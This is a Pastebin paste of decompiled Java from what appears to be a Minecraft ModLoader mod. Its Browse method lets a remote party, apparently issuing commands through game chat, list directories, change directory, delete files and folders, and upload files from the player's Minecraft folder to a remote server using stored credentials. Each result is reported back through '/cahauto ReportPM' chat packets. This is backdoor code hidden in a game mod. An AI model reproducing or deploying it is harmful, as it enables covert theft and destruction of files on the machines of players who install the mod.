Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public static void Browse(String s, String s1, String s2, String s3)
- {
- if (curDir.equals("None"))
- {
- curDir = getHome();
- }
- if (!s.equals("dir"))
- {
- if (s.equals("path"))
- {
- ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" Directory; ").append(curDir).toString()));
- return;
- }
- if (s.equals("home"))
- {
- curDir = getHome();
- }
- else if (s.equals("tex"))
- {
- curDir = getHome();
- curDir = (new StringBuilder()).append(curDir).append("/texturepacks").toString();
- }
- else if (s.equals("mod"))
- {
- curDir = getHome();
- curDir = (new StringBuilder()).append(curDir).append("/mods").toString();
- }
- else if (s.equals("cd"))
- {
- if (s1.equals(".."))
- {
- int i = curDir.length();
- for (int j = 0; j < curDir.length(); j++)
- {
- if (curDir.charAt(j) == '\\' || curDir.charAt(j) == '/')
- {
- i = j;
- }
- }
- curDir = curDir.substring(0, i);
- }
- else
- {
- File file = new File(s1);
- if (file.exists())
- {
- if (file.isDirectory())
- {
- curDir = s1;
- }
- else
- {
- curDir = (new StringBuilder()).append(curDir).append("/").append(s1).toString();
- }
- }
- else
- {
- curDir = (new StringBuilder()).append(curDir).append("/").append(s1).toString();
- }
- }
- if (!curDir.toLowerCase().contains("minecraft"))
- {
- ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" Error; Cannot Leave MineCraft Directory.").toString()));
- curDir = getHome();
- return;
- }
- }
- else
- {
- if (s.equals("del"))
- {
- File file1 = new File((new StringBuilder()).append(curDir).append("/").append(s1).toString());
- if (!file1.exists())
- {
- ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" File/Folder Not Found; ").append(s1).toString()));
- return;
- }
- if (file1.isFile())
- {
- if (file1.delete())
- {
- ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" File Delete Success; ").append(s1).toString()));
- return;
- }
- else
- {
- ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" File Delete Failure; ").append(s1).toString()));
- return;
- }
- }
- if (file1.isDirectory())
- {
- if (deleteFile(file1))
- {
- ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" Folder Delete Success; ").append(s1).toString()));
- return;
- }
- else
- {
- ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" Folder Delete Failure; ").append(s1).toString()));
- return;
- }
- }
- else
- {
- ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" File/Folder Not Found; ").append(s1).toString()));
- return;
- }
- }
- if (s.equals("ul"))
- {
- File file2 = new File((new StringBuilder()).append(curDir).append("/").append(s1).toString());
- if (!file2.exists())
- {
- ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" File Not Found; ").append(s1).toString()));
- return;
- }
- if (!file2.isFile())
- {
- ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" File Is Folder; ").append(s1).toString()));
- return;
- }
- try
- {
- uploadFile(fa, fu, fp, (new StringBuilder()).append(fd).append("/").append(s3).append("_").append(file2.getName()).toString(), file2);
- }
- catch (MalformedURLException malformedurlexception)
- {
- ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" Upload URL Exception.").toString()));
- return;
- }
- catch (IOException ioexception)
- {
- ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" Upload I/O Exception.").toString()));
- return;
- }
- ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" File Uploading; ").append(s1).toString()));
- return;
- }
- else
- {
- ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" Invalid Command; ").append(s).toString()));
- return;
- }
- }
- }
- File file3 = new File(curDir);
- if (!file3.exists() || !file3.isDirectory())
- {
- ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" Directory; ").append(curDir).toString()));
- ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" Error; Directory does not exist...").toString()));
- return;
- }
- ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" Directory; ").append(curDir).toString()));
- int k = 0;
- String s4;
- for (Iterator iterator = getContents().iterator(); iterator.hasNext(); ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" ").append(s4).toString())))
- {
- s4 = (String)iterator.next();
- k++;
- for (String s5 = (new StringBuilder()).append(k).append("").toString(); s5.length() < 3; s5 = (new StringBuilder()).append("0").append(s5).toString()) { }
- }
- }
Add Comment
Please, Sign In to add comment